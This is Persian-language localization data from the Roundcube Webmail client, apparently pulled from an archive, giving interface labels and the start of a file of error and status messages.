$labels['asc'] = 'صعودی';
$labels['desc'] = 'نزولی';
$labels['listcolumns'] = 'ستون‌های فهرست';
$labels['listsorting'] = 'ستون مرتب‌سازی';
$labels['listorder'] = 'ترتیب مرتب‌سازی';
$labels['listmode'] = 'نوع مشاهده فهرست';
$labels['lmode'] = 'حالت لیست';
$labels['layout'] = 'چیدمان';
$labels['layoutwidescreen'] = 'عریض';
$labels['layoutdesktop'] = 'رومیزی';
$labels['layoutlist'] = 'لیست';
$labels['layoutwidescreendesc'] = 'صفحه‌ی عریض (نمایش ۳ ستونی)';
$labels['layoutdesktopdesc'] = 'رومیزی (لیست عریض و پیش‌نمایش ایمیل در زیر)';
$labels['layoutlistdesc'] = 'لیست (بدون پیش‌نمایش ایمیل)';
$labels['folderactions'] = 'اعمال پوشه...';
$labels['compact'] = 'فشرده';
$labels['empty'] = 'خالی';
$labels['importmessages'] = 'وارد کردن پیام‌ها';
$labels['quota'] = 'فضای استفاده شده';
$labels['unknown'] = 'ناشناخته';
$labels['unlimited'] = 'نامحدود';
$labels['quotatype'] = 'نوع سهمیه';
$labels['quotatotal'] = 'محدود کردن';
$labels['quotaused'] = 'استفاده شده';
$labels['quotastorage'] = 'فضای دیسک';
$labels['quotamessage'] = 'تعداد پیغام‌ها';
$labels['shortheaderdate'] = 'در $date';
$labels['shortheaderto'] = 'به $to در $date';
$labels['shortheaderfrom'] = 'از $from در $date';
$labels['quicksearch'] = 'جستجوی سریع';
$labels['searchplaceholder'] = 'جستجو...';
$labels['resetsearch'] = 'جستجوی دوباره';
$labels['searchmod'] = 'اصلاحات جستجو';
$labels['msgtext'] = 'کل پیام';
$labels['body'] = 'بدنه';
$labels['type'] = 'نوع';
$labels['namex'] = 'نام';
$labels['searchscope'] = 'حوزه';
$labels['currentfolder'] = 'پوشه جاری';
$labels['subfolders'] = 'این و زیرپوشه‌ها';
$labels['allfolders'] = 'همه پوشه‌ها';
$labels['searchinterval-1W'] = 'قدیمی‌تر از یک هفته';
$labels['searchinterval-1M'] = 'قدیمی‌تر از یک ماه';
$labels['searchinterval-1Y'] = 'قدیمی‌تر از یک سال';
$labels['searchinterval1W'] = 'جدیدتر از یک هفته';
$labels['searchinterval1M'] = 'جدیدتر از یک ماه';
$labels['searchinterval1Y'] = 'جدیدتر از یک سال';
$labels['openinextwin'] = 'باز کردن در پنجره‌ی جدید';
$labels['emlsave'] = 'بارگیری (.eml)';
$labels['changeformattext'] = 'نمایش در قالب متنی';
$labels['changeformathtml'] = 'نمایش در قالب اچ‌تی‌ام‌ال';
$labels['editasnew'] = 'ویرایش به عنوان جدید';
$labels['send'] = 'ارسال';
$labels['sendmessage'] = 'ارسال پیغام';
$labels['savemessage'] = 'ذخیره پیش‌نویس';
$labels['addattachment'] = 'پیوست کردن یک پرونده';
$labels['charset'] = 'مجموعه‌نمایه';
$labels['editortype'] = 'نوع ویرایش‌گر';
$labels['returnreceipt'] = 'رسید دریافت';
$labels['dsn'] = 'اعلام وضعیت دریافت';
$labels['mailreplyintro'] = 'در $date، $sender نوشته است:';
$labels['originalmessage'] = 'پیام اصلی';
$labels['selectimage'] = 'انتخاب تصویر';
$labels['addimage'] = 'افزودن تصویر';
$labels['selectmedia'] = 'انتخاب فیلم';
$labels['addmedia'] = 'افزودن رسانه';
$labels['encrypt'] = 'رمزگذاری';
$labels['encryptmessage'] = 'رمزگذاری پیغام';
$labels['keyid'] = 'کلید شناسه';
$labels['keylength'] = 'بیت‌ها';
$labels['keyexpired'] = 'منقضی شده';
$labels['insert'] = 'جاگذارى';
$labels['recipient'] = 'گیرنده';
$labels['editidents'] = 'ویرایش شناسه‌ها';
$labels['spellcheck'] = 'املاء';
$labels['checkspelling'] = 'بررسی املایی';
$labels['resumeediting'] = 'ادامه‌ی ویرایش';
$labels['revertto'] = 'برگرداندن به';
$labels['restore'] = 'بازیابی';
$labels['restoremessage'] = 'بازیابی پیام؟';
$labels['ignore'] = 'نادیده گرفتن';
$labels['responses'] = 'پاسخ‌ها';
$labels['insertresponse'] = 'درج پاسخ';
$labels['manageresponses'] = 'مدیریت پاسخ‌ها';
$labels['addresponse'] = 'افزودن پاسخ';
$labels['editresponse'] = 'ویرایش پاسخ';
$labels['editresponses'] = 'ویرایش پاسخ‌ها';
$labels['responsename'] = 'نام';
$labels['responsetext'] = 'متن پاسخ';
$labels['attach'] = 'پیوست کردن';
$labels['attachments'] = 'پیوست‌ها';
$labels['upload'] = 'بارگذاری';
$labels['uploadprogress'] = '$percent ($current از $total)';
$labels['close'] = 'بستن';
$labels['messageoptions'] = 'گزینه‌های پیام...';
$labels['low'] = 'کم';
$labels['lowest'] = 'کم‌ترین';
$labels['normal'] = 'معمولی';
$labels['high'] = 'زیاد';
$labels['highest'] = 'بیش‌ترین';
$labels['nosubject'] = '(بدون موضوع)';
$labels['showimages'] = 'نمایش عکس‌ها';
$labels['allow'] = 'اجازه دادن';
$labels['alwaysshow'] = 'همیشه عکس‌های دریافتی از $sender را نمایش داده شود';
$labels['isdraft'] = 'این یک پیغام پیش‌نویس است.';
$labels['andnmore'] = '$nr بیشتر...';
$labels['details'] = 'جزییات';
$labels['headers'] = 'سربرگ‌ها';
$labels['togglemoreheaders'] = 'نمایش سربرگ‌های بیشتر پیام';
$labels['togglefullheaders'] = 'تعویض سربرگ‌های پیام خام';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'متن ساده';
$labels['savesentmessagein'] = 'ذخیره پیام ارسالی در';
$labels['dontsave'] = 'ذخیره نکن';
$labels['maxuploadsize'] = 'حجم پرونده حداکثر تا میزان $size می‌باشد';
$labels['addcc'] = 'افزودن رونوشت';
$labels['addbcc'] = 'افزودن رونوشت مخفی';
$labels['addreplyto'] = 'افزودن پاسخ-به';
$labels['addfollowupto'] = 'افزودن پیگیری-به';
$labels['mdnrequest'] = 'فرستنده‌ی این پیام خواسته است که وقتی شما این پیام را می‌خوانید، آگاه شود. آیا مایلید فرستنده را آگاه سازید؟';
$labels['receiptread'] = 'رسید دریافت (خواندن)';
$labels['yourmessage'] = 'این یک رسید دریافت برای پیام شماست';
$labels['receiptnote'] = 'تذکر: این رسید فقط تصدیق می‌کند که پیام، روی رایانه گیرنده نمایش داده شده است. هیچ تضمینی نیست که گیرنده، محتوای پیام را خوانده یا فهمیده باشد.';
$labels['zoomin'] = 'بزرگنمایی';
$labels['zoomout'] = 'کوچکنمایی';
$labels['name'] = 'نمایش نام';
$labels['firstname'] = 'نام';
$labels['surname'] = 'نام خانوادگی';
$labels['middlename'] = 'نام وسط';
$labels['nameprefix'] = 'پیشوند';
$labels['namesuffix'] = 'پسوند';
$labels['nickname'] = 'نام مستعار';
$labels['jobtitle'] = 'عنوان شغل';
$labels['department'] = 'بخش';
$labels['gender'] = 'جنسیت';
$labels['maidenname'] = 'نام خانوادگی زن قبل از ازدواج';
$labels['email'] = 'پست‌الکترونیک';
$labels['phone'] = 'تلفن';
$labels['address'] = 'نشانی';
$labels['street'] = 'خیابان';
$labels['locality'] = 'شهر';
$labels['zipcode'] = 'کدپستی';
$labels['region'] = 'ایالت/استان';
$labels['country'] = 'کشور';
$labels['birthday'] = 'زادروز';
$labels['anniversary'] = 'سالگرد';
$labels['website'] = 'وب‌سایت';
$labels['instantmessenger'] = 'پیام‌رسان';
$labels['notes'] = 'یادداشت‌ها';
$labels['male'] = 'مرد';
$labels['female'] = 'زن';
$labels['manager'] = 'مدیر';
$labels['assistant'] = 'دستیار';
$labels['spouse'] = 'همسر';
$labels['allfields'] = 'همه زمینه‌ها';
$labels['search'] = 'جستجو';
$labels['searchresult'] = 'نتیجه جستجو';
$labels['advsearch'] = 'جستجوی پیشرفته';
$labels['advanced'] = 'پیشرفته';
$labels['other'] = 'سایر';
$labels['qrcode'] = 'کد کیوآر';
$labels['typehome'] = 'خانه';
$labels['typework'] = 'کار';
$labels['typeother'] = 'سایر';
$labels['typemobile'] = 'تلفن همراه';
$labels['typemain'] = 'اصلی';
$labels['typehomefax'] = 'فاکس خانگی';
$labels['typeworkfax'] = 'فاکس کاری';
$labels['typecar'] = 'اتومبیل';
$labels['typepager'] = 'پیجر';
$labels['typevideo'] = 'ویدئو';
$labels['typeassistant'] = 'دستیار';
$labels['typehomepage'] = 'صفحه خانگی';
$labels['typeblog'] = 'بلاگ';
$labels['typeprofile'] = 'نمایه';
$labels['addfield'] = 'افزودن زمینه...';
$labels['addcontact'] = 'افزودن تماس';
$labels['editcontact'] = 'ویرایش تماس';
$labels['contacts'] = 'تماس‌ها';
$labels['contactproperties'] = 'خصوصیات تماس';
$labels['personalinfo'] = 'اطلاعات شخصی';
$labels['personal'] = 'شخصی';
$labels['contactphoto'] = 'تصویر تماس';
$labels['edit'] = 'ویرایش';
$labels['cancel'] = 'لغو';
$labels['save'] = 'ذخیره';
$labels['delete'] = 'حذف';
$labels['discard'] = 'دور انداختن';
$labels['continue'] = 'ادامه';
$labels['ok'] = 'بسیارخوب';
$labels['rename'] = 'تغییر نام';
$labels['addphoto'] = 'افزودن';
$labels['replacephoto'] = 'جایگزینی';
$labels['uploadphoto'] = 'بارگذاری تصویر';
$labels['browse'] = 'مرور';
$labels['deletecontact'] = 'حذف تماس‌های انتخاب شده';
$labels['composeto'] = 'نوشتن پست به';
$labels['contactsfromto'] = 'تماس‌های $from تا $to از $count';
$labels['print'] = 'چاپ';
$labels['export'] = 'صدور';
$labels['exportall'] = 'خارج کردن همه';
$labels['exportsel'] = 'خارج کردن انتخاب شده‌ها';
$labels['exportvcards'] = 'صدور اطلاعات تماس‌ها با فرمت vCard';
$labels['newgroup'] = 'ایجاد گروه جدید';
$labels['addgroup'] = 'افزودن گروه';
$labels['grouprename'] = 'تغییر نام گروه';
$labels['groupdelete'] = 'حذف گروه';
$labels['groupremoveselected'] = 'حذف نشانی‌های انتخاب شده از گروه';
$labels['previouspage'] = 'نمایش صفحه قبلی';
$labels['firstpage'] = 'نمایش صفحه اول';
$labels['nextpage'] = 'نمایش صفحه بعدی';
$labels['lastpage'] = 'نمایش صفحه آخر';
$labels['group'] = 'گروه';
$labels['groups'] = 'گروه‌ها';
$labels['listgroup'] = 'فهرست اعضاء گروه';
$labels['personaladrbook'] = 'نشانی‌های شخصی';
$labels['searchsave'] = 'ذخیره جستجو';
$labels['searchdelete'] = 'حذف جستجو';
$labels['import'] = 'وارد کردن';
$labels['importcontacts'] = 'وارد کردن تماس‌ها';
$labels['importtarget'] = 'افزودن تماس‌ها به';
$labels['importreplace'] = 'جایگیزینی کامل دفتر نشانی';
$labels['importgroups'] = 'وارد کردن وظایف گروه';
$labels['importgroupsall'] = 'همه (ایجاد گروه‌ها در صورت نیاز)';
$labels['importgroupsexisting'] = 'فقط برای گروه‌های موجود';
$labels['done'] = 'انجام شد';
$labels['settingsfor'] = 'تنظیمات برای';
$labels['about'] = 'درباره';
$labels['preferences'] = 'ترجیحات';
$labels['userpreferences'] = 'ترجیحات کاربر';
$labels['editpreferences'] = 'ویرایش ترجیحات کاربر';
$labels['identities'] = 'شناسه‌ها';
$labels['addidentity'] = 'افزودن هویت';
$labels['editidentity'] = 'ویرایش شناسه';
$labels['identityencryption'] = 'رمزگذاری';
$labels['preferhtml'] = 'HTML نمایش';
$labels['defaultcharset'] = 'مجموعه نمایه پیش‌فرض';
$labels['htmlmessage'] = 'پیغام HTML';
$labels['messagepart'] = 'قسمت';
$labels['digitalsig'] = 'امضای دیجیتال';
$labels['dateformat'] = 'قالب تاریخ';
$labels['timeformat'] = 'قالب زمان';
$labels['prettydate'] = 'تاریخ‌های زیبا';
$labels['setdefault'] = 'پیش‌فرض کن';
$labels['autodetect'] = 'خودکار';
$labels['language'] = 'زبان';
$labels['timezone'] = 'محدوده‌ی زمانی';
$labels['pagesize'] = 'سطر در صفحه';
$labels['signature'] = 'امضاء';
$labels['dstactive'] = 'ساعت تابستانی';
$labels['showinextwin'] = 'نمایش پیام در پنجره جدید';
$labels['composeextwin'] = 'نوشتن پیام  در پنجره جدید';
$labels['htmleditor'] = 'نوشتن پیام‌های HTML';
$labels['htmlonreply'] = 'فقط در پاسخ به پیام HTML';
$labels['htmlonreplyandforward'] = 'در بازگردانی یا پاسخ به پیام‌های HTML';
$labels['htmlsignature'] = 'امضای HTML';
$labels['showemail'] = 'نمایش نشانی رایانامه با نام نمایشی';
$labels['previewpane'] = 'نمایش قاب پیش‌نمایش';
$labels['skin'] = 'پوسته ظاهری';
$labels['logoutclear'] = 'تمیز کردن زباله دان هنگام برون‌رفت';
$labels['logoutcompact'] = 'فشرده‌سازی صندوق در هنگام خروچ';
$labels['uisettings'] = 'محیط کاربری';
$labels['serversettings'] = 'تنظیمات سرور';
$labels['mailboxview'] = 'نمای صندوق پستی';
$labels['mdnrequests'] = 'تاییدهای فرستنده';
$labels['askuser'] = 'پرسش از کاربر';
$labels['autosend'] = 'ارسال رسید';
$labels['autosendknown'] = 'ارسال رسید به تماس‌های من، در غیر این صورت سوال کن';
$labels['autosendknownignore'] = 'ارسال رسید به تماس‌های من، درغیر این صورت چشم‌پوشی کن';
$labels['readwhendeleted'] = 'در هنگام پاک کردن، پیام را به عنوان خوانده شده علامت بزن';
$labels['flagfordeletion'] = 'پیام را به جای پاک کردن، با پرچم نشانه‌گذاری کن';
$labels['skipdeleted'] = 'پیام‌های حذف شده را نمایش نده';
$labels['deletealways'] = 'اگر انتقال پیام به زباله‌دان ناموفق بود، آن‌ها را حذف کن';
$labels['deletejunk'] = 'حذف مستقیم پیام‌های زباله';
$labels['showremoteimages'] = 'تصاویر پیوند شده را نمایش بده';
$labels['fromknownsenders'] = 'از فرستنده شناس';
$labels['always'] = 'همواره';
$labels['showinlineimages'] = 'نمایش عکس‌های پیوست شده در پایین پیام';
$labels['autosavedraft'] = 'ذخیره‌ی خودکار پیش‌نویس';
$labels['everynminutes'] = 'در هر $n دقیقه';
$labels['refreshinterval'] = 'تازه کردن (بررسی برای پیام‌های جدید، مثلا)';
$labels['never'] = 'هرگز';
$labels['immediately'] = 'بلافاصله';
$labels['messagesdisplaying'] = 'نمای پیام‌ها';
$labels['messagescomposition'] = 'نوشتن پیام‌ها';
$labels['mimeparamfolding'] = 'عناوین پیوستی';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (سایر)';
$labels['force7bit'] = 'از MIME encoding برای کارکترهای ۸-بیتی استفاده کن';
$labels['advancedoptions'] = 'گزینه‌های پیشرفته';
$labels['focusonnewmessage'] = 'مشخص نمودن پیام جدید';
$labels['checkallfolders'] = 'همه پوشه‌ها را برای مشاهده پیام‌های جدید بررسی کن';
$labels['defaultfont'] = 'فونت پیش فرض برای پیام HTML';
$labels['mainoptions'] = 'گزینه‌های اصلی';
$labels['browseroptions'] = 'گزینه‌‌های مرورگر';
$labels['section'] = 'بخش';
$labels['maintenance'] = 'نگهداشت';
$labels['newmessage'] = 'پیام جدید';
$labels['signatureoptions'] = 'گزینه‌های امضاء';
$labels['whenreplying'] = 'هنگام پاسخ';
$labels['replyempty'] = 'نقل قول نکردن پیام اصلی';
$labels['replytopposting'] = 'شروع پیام جدید بالای اصلی';
$labels['replybottomposting'] = 'شروع پیام جدید پایین اصلی';
$labels['replyremovesignature'] = 'هنگام پاسخ امضاء اصلی را از پیام پاک کن';
$labels['autoaddsignature'] = 'اضافه کردن خودکار امضاء';
$labels['newmessageonly'] = 'فقط پیام جدید';
$labels['replyandforwardonly'] = 'فقط پاسخ‌ها و ارجاع‌ها';
$labels['insertsignature'] = 'درج امضاء';
$labels['afternseconds'] = 'بعد از $s ثانیه';
$labels['reqmdn'] = 'درخواست همیشگی رسید برگشت';
$labels['reqdsn'] = 'درخواست همیشگی تذکر وضعیت تحویل';
$labels['replysamefolder'] = 'پاسخ‌ها را در پوشه‌ای پیام‌هایی که باید پاسخ داده شود گرفته بده.';
$labels['defaultabook'] = 'دفترچه نشانی پیش‌فرض';
$labels['autocompletesingle'] = 'رد کردن نشانی‌های رایانامه دیگر در تکمیل خودکار';
$labels['listnamedisplay'] = 'فهرست تماس‌ها به عنوان';
$labels['spellcheckbeforesend'] = 'بررسی املایی قبل از ارسال پیام';
$labels['spellcheckoptions'] = 'گزینه‌های بررسی املاء';
$labels['spellcheckignoresyms'] = 'نادیده گرفتن کلمات دارای نماد';
$labels['spellcheckignorenums'] = 'نادیده گرفتن کلمات دارای عدد';
$labels['spellcheckignorecaps'] = 'نادیده گرفتن کلمات با حروف بزرگ';
$labels['addtodict'] = 'اضافه کردن به واژه‌نامه';
$labels['mailtoprotohandler'] = 'ثبت نگه‌دارنده پروتوکل برای mailto: پیوندها';
$labels['standardwindows'] = 'بکار بردن پاپ‌آپ‌ها به صورت پنجره‌ی استاندارد';
$labels['forwardmode'] = 'بازگردانی پیام';
$labels['inline'] = 'خطی';
$labels['asattachment'] = 'به عنوان پیوست';
$labels['replyallmode'] = 'عمل پیش‌فرض برای دکمه [پاسخ به همه]';
$labels['replyalldefault'] = 'پاسخ به همه';
$labels['replyalllist'] = 'پاسخ به فقط لیست پستی (در صورت یافتن)';
$labels['allmessages'] = 'همه پیام ها';
$labels['folder'] = 'پوشه';
$labels['folders'] = 'پوشه‌ها';
$labels['foldername'] = 'نام پوشه';
$labels['subscribed'] = 'مشترک شد';
$labels['messagecount'] = 'پیام‌ها';
$labels['create'] = 'ایجاد';
$labels['createfolder'] = 'ایجاد پوشه‌ی جدید';
$labels['managefolders'] = 'مدیریت پوشه‌ها';
$labels['specialfolders'] = 'پوشه‌های ویژه';
$labels['properties'] = 'خصوصیات';
$labels['folderproperties'] = 'خصوصیات پوشه';
$labels['parentfolder'] = 'پوشه والد';
$labels['location'] = 'موقعیت';
$labels['info'] = 'اطلاعات';
$labels['getfoldersize'] = 'برای فهمیدن حجم پوشه کلیک کنید';
$labels['changesubscription'] = 'برای تغییر اشتراک کلیک کنید';
$labels['foldertype'] = 'نوع پوشه';
$labels['personalfolder'] = 'پوشه خصوصی';
$labels['otherfolder'] = 'پوشه کاربران دیگر';
$labels['sharedfolder'] = 'پوشه عمومی';
$labels['findfolders'] = 'پیدا کردن پوشه';
$labels['namespace.personal'] = 'شخصی';
$labels['dualusemail'] = 'پیغام‌ها';
$labels['dualusefolder'] = 'پوشه‌ها';
$labels['encryption'] = 'رمزگذاری';
$labels['sortby'] = 'مرتب‌سازی بر اساس';
$labels['sortasc'] = 'مرتب‌سازی صعودی';
$labels['sortdesc'] = 'مرتب‌سازی نزولی';
$labels['undo'] = 'برگردان';
$labels['installedplugins'] = 'افزونه‌های نصب شده';
$labels['plugin'] = 'افزونه';
$labels['version'] = 'نسخه';
$labels['source'] = 'منبع';
$labels['license'] = 'گواهینامه';
$labels['support'] = 'پشتیبانی';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'یونیکد';
$labels['english'] = 'انگلیسی';
$labels['westerneuropean'] = 'اروپای غربی';
$labels['easterneuropean'] = 'اروپای شرقی';
$labels['southeasterneuropean'] = 'اروپای جنوب شرقی';
$labels['baltic'] = 'بالتیک';
$labels['cyrillic'] = 'سیریلیک';
$labels['arabic'] = 'عربی';
$labels['greek'] = 'یونانی';
$labels['hebrew'] = 'عبری';
$labels['turkish'] = 'ترکی استانبولی';
$labels['nordic'] = 'شمالی';
$labels['thai'] = 'تایلندی';
$labels['celtic'] = 'سلتی';
$labels['vietnamese'] = 'ویتنامی';
$labels['japanese'] = 'ژاپنی';
$labels['korean'] = 'کره‌ای';
$labels['chinese'] = 'چینی';
$labels['arialabeltopnav'] = 'کنترل پنجره';
$labels['arialabelactivetask'] = 'وظیفه فعال';
$labels['arialabelmessagessearchfilter'] = 'پالایه فهرست‌گیری رایانامه';
$labels['arialabelmailsearchform'] = 'فرم جستجوی پیام رایانامه';
$labels['arialabelcontactsearchform'] = 'فرم جستجوی تماس‌ها';
$labels['arialabelmailquicksearchbox'] = 'ورودی جستجوی رایانامه';
$labels['arialabelquicksearchbox'] = 'وردوی جستجو';
$labels['arialabelfoldersearchfilter'] = 'پالایه فهرست‌گیری پوشه';
$labels['arialabelfoldersearchform'] = 'فرم جستجوی پوشه';
$labels['arialabelfolderlist'] = 'انتخاب پوشه رایانامه';
$labels['arialabelmessagelist'] = 'فهرست‌گیری پیام‌های رایانامه';
$labels['arialabelmailpreviewframe'] = 'پیش‌نمایش پیام';
$labels['arialabelmessagenav'] = 'ناوبری پیام';
$labels['arialabelmessagebody'] = 'بدنه پیام';
$labels['arialabelmessageactions'] = 'کنش‌های پیام';
$labels['arialabelcontactquicksearch'] = 'فرم جستجوی تماس‌ها';
$labels['arialabelcontactsearchbox'] = 'ورودی جستجوی تماس';
$labels['arialabelmessageheaders'] = 'سربرگ‌های پیام';
$labels['arialabelforwardingoptions'] = 'گزینه‌های بازگردانی';
$labels['arialabelreplyalloptions'] = 'گزینه‌های پاسخ به همه';
$labels['arialabelcomposeoptions'] = 'گزینه‌های انشاء';
$labels['arialabelattachmentuploadform'] = 'فرم بارگذاری پیوست';
$labels['arialabelattachmentpreview'] = 'پیش‌نمایش پیوست';
$labels['arialabelabookgroupoptions'] = 'گزینه‌های دفترنشانی/گروه';
$labels['arialabelpreferencesform'] = 'فرم تنظیمات';
$labels['arialabelidentityeditfrom'] = 'فرم ویرایش هویت';
$labels['arialabelresponseeditfrom'] = 'فرم ویرایش واکنش‌گرا';
$labels['arialabelsearchterms'] = 'شرایط جستجو';
$labels['arialabelimagetools'] = 'ابزار تصویر';
PK
h�\����O=O='program/localization/fa_IR/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'خطایی رخ داد!';
$messages['loginfailed']  = 'ورود ناموفق بود.';
$messages['cookiesdisabled'] = 'مرورگر شما کوکی‌ها را قبول نمی‌کند.';
$messages['sessionerror'] = 'نشست شما معتبر نیست، یا منقضی شده است.';
$messages['storageerror'] = 'اتصال به سرور مخزن ناموفق بود.';
$messages['servererror'] = 'خطای سرور!';
$messages['servererrormsg'] = 'خطای سرور: $msg';
$messages['connerror'] = 'خطای ارتباط (عدم دسترسی به سرور)!';
$messages['dberror'] = 'خطای پایگاه داده!';
$messages['windowopenerror'] = 'پنجره پاپ‌آپ مسدود شده است!';
$messages['requesttimedout'] = 'زمان درخواست تمام شد';
$messages['errorreadonly'] = ' عمل مورد نظر انجام نشد. پوشه فقط خواندنی است.';
$messages['errornoperm'] = ' عمل مورد نظر انجام نشد. دسترسی وجود ندارد.';
$messages['erroroverquota'] = 'عملیات انجام نشد. دیسک فضای خالی ندارد.';
$messages['erroroverquotadelete'] = 'دیسک فضای خالی ندارد. برای حذف پیام از SHIFT+DEL استفاده کنید.';
$messages['invalidrequest'] = 'درخواست نامعتبر! هیچ داده‌ای ذخیره نشد.';
$messages['invalidhost'] = 'نام سرور غیرمعتبر.';
$messages['nomessagesfound'] = 'هیچ پیغامی در این صندوق‌پستی پیدا نشد.';
$messages['mailboxempty'] = 'صندوق پستی خالی است';
$messages['nomessages'] = 'بدون پیام';
$messages['refreshing'] = 'نوسازی...';
$messages['loading'] = 'بارگذاری...';
$messages['uploading'] = 'بارگذاری پرونده...';
$messages['attaching'] = 'پیوست کردن پرونده...';
$messages['uploadingmany'] = 'بارگذاری پرونده‌ها...';
$messages['loadingdata'] = 'بارگذاری داده‌ها...';
$messages['checkingmail'] = 'بررسی برای پیام‌های جدید...';
$messages['sendingmessage'] = 'ارسال پیغام...';
$messages['messagesent'] = 'پیغام با موفقیت فرستاده شد.';
$messages['savingmessage'] = 'ذخیره‌ی پیام...';
$messages['messagesaved'] = 'پیغام در پیش‌نویس‌ها ذخیره شد.';
$messages['successfullysaved'] = 'با موفقیت ذخیره شد.';
$messages['savingresponse'] = 'ذخیره متن پاسخ...';
$messages['deleteresponseconfirm'] = 'آیا واقعا می‌خواهید این متن پاسخ را حذف نمایید؟';
$messages['addedsuccessfully'] = 'مخاطب با موفقیت به دفتر نشانی‌ها اضافه شد.';
$messages['contactexists'] = 'مخاطبی با آدرس ایمیل مشابه وجود دارد.';
$messages['contactnameexists'] = 'در حال حاضر مخاطبی با نام یکسان وجود دارد.';
$messages['blockedimages'] = 'برای حفاظت از حریم شخصی شما، عکس‌های خارجی در این پیام مسدود شده‌اند.';
$messages['encryptedmessage'] = 'این یک پیام رمزنگاری شده است و قابل نمایش نیست. با عرض پوزش!';
$messages['nocontactsfound'] = 'مخاطبی پیدا نشد.';
$messages['contactnotfound'] = 'مخاطب درخواست شده پیدا نشد.';
$messages['sendingfailed'] = 'ارسال پیغام ناموفق بود.';
$messages['senttooquickly'] = 'لطفا قبل از ارسال این پیام $sec ثانیه صبر کنید.';
$messages['errorsavingsent'] = 'خطایی رخ داده است پیام ارسالی ذخیره می گردد.';
$messages['errorsaving'] = 'خطایی در ذخیره کردن رخ داده است.';
$messages['errormoving'] = 'پیام(ها) منتقل نشدند.';
$messages['errorcopying'] = 'پیام(ها) کپی نشدند.';
$messages['errordeleting'] = 'پیام(ها) حذف نشدند.';
$messages['errormarking'] = 'پیام(ها) نشانه‌گذاری نشدند.';
$messages['deletecontactconfirm']  = 'آیا واقعاً می‌خواهید مخاطب(های) انتخاب شده را حذف کنید؟';
$messages['deletegroupconfirm']  = 'آیا واقعا می‌خواهید گروه انتخاب شده را حذف کنید؟';
$messages['deletemessagesconfirm'] = 'آیا واقعاً می‌خواهید پیام(های) انتخاب شده را حذف کنید؟';
$messages['deletefolderconfirm']  = 'آیا واقعاً می‌خواهید این پوشه را حذف کنید؟';
$messages['purgefolderconfirm']  = 'آیا واقعاً می‌خواهید همه‌ی پیام‌های داخل این پوشه را حذف کنید؟';
$messages['contactdeleting'] = 'حذف مخاطب(ها)...';
$messages['groupdeleting'] = 'حذف گروه...';
$messages['folderdeleting'] = 'حذف پوشه...';
$messages['foldermoving'] = 'جابجایی پوشه...';
$messages['foldersubscribing'] = 'اشتراک پوشه...';
$messages['folderunsubscribing'] = 'لغو اشتراک پوشه...';
$messages['formincomplete'] = 'فرم کامل پر نشده بود.';
$messages['noemailwarning'] = 'لطفا یک نشانی رایانامه معتبر وارد کنید.';
$messages['nonamewarning']  = 'لطفا یک نام وارد کنید.';
$messages['nopagesizewarning'] = 'لطفا اندازه‌ی صفحه را وارد کنید.';
$messages['nosenderwarning'] = 'لطفا آدرس ایمیل فرستنده را وارد کنید.';
$messages['norecipientwarning'] = 'لطفاً حداقل یک گیرنده وارد کنید.';
$messages['nosubjectwarning']  = 'قسمت "موضوع" خالی است. می‌خواهید اکنون وارد کنید؟';
$messages['nosubjecttitle']  = 'بدون موضوع';
$messages['nobodywarning'] = 'این پیام بدون متن ارسال شود؟';
$messages['restoresavedcomposedata'] = 'نامه قبلا نوشته و نفرستاده یافت شد.\n\nموضوع: $subject\n
ذخیره شده: $date\n\nآیا می‌خواهید این پیام را بازیابی نمایید؟';
$messages['nosearchname'] = 'لطفا یک نام مخاطب یا نشانی رایانامه وارد نمایید.';
$messages['notuploadedwarning'] = 'همه پیوست ها هنوز بارگذاری نشده‌اند. لطفا صبر کرده یا بارگذاری را لغو کنید.';
$messages['searchsuccessful'] = '$nr پیام پیدا شد.';
$messages['contactsearchsuccessful'] = '$nr مخاطب ییدا شد.';
$messages['searchnomatch'] = 'جست‌و‌جو هیچ نتیجه‌ای نداشت.';
$messages['searching'] = 'در حال جست‌و‌جو...';
$messages['checking'] = 'در حال بررسی...';
$messages['stillsearching'] = 'هنور در حال جستجو...';
$messages['nospellerrors'] = 'هیچ اشکال املایی پیدا نشد.';
$messages['folderdeleted'] = 'پوشه با کام‌یابی حذف شد.';
$messages['foldersubscribed'] = 'اشتراک پوشه با کام‌یابی انجام شد.';
$messages['folderunsubscribed'] = 'اشتراک پوشه با کام‌یابی لغو شد.';
$messages['deletedsuccessfully'] = 'با کام‌یابی حذف شد.';
$messages['converting'] = 'در حال حذف قالب‌بندی...';
$messages['messageopenerror'] = 'بارگذاری پیام از روی سرور انجام نشد.';
$messages['fileuploaderror'] = 'بارگذاری پرونده ناموفق بود.';
$messages['filesizeerror'] = 'اندازه‌ی پرونده‌ی بارگذاری شده از بیشینه اندازه‌ی $size بیشتر است.';
$messages['copysuccess'] = '$nr مخاطب با کام‌یابی کپی شد.';
$messages['movesuccess'] = '$nr مخاطب با کام‌یابی جابجا شد.';
$messages['copyerror'] = 'مخاطب‌ها کپی نشدند.';
$messages['moveerror'] = 'مخاطب‌ها جابجا نشدند.';
$messages['sourceisreadonly'] = 'این منبع نشانی فقط خواندنی است.';
$messages['errorsavingcontact'] = 'ذخیره‌ی نشانی مخاطب ناموفق بود.';
$messages['movingmessage'] = 'در حال انتقال پیام(ها)...';
$messages['copyingmessage'] = 'در حال کپی‌برداری از پیام(ها)...';
$messages['copyingcontact'] = 'در حال کپی‌برداری مخاطب(ها)...';
$messages['movingcontact'] = 'در حال جابجایی مخاطب(ها)...';
$messages['deletingmessage'] = 'در حال حذف پیام(ها)...';
$messages['markingmessage'] = 'در حال نشانه‌گذاری پیام(ها)...';
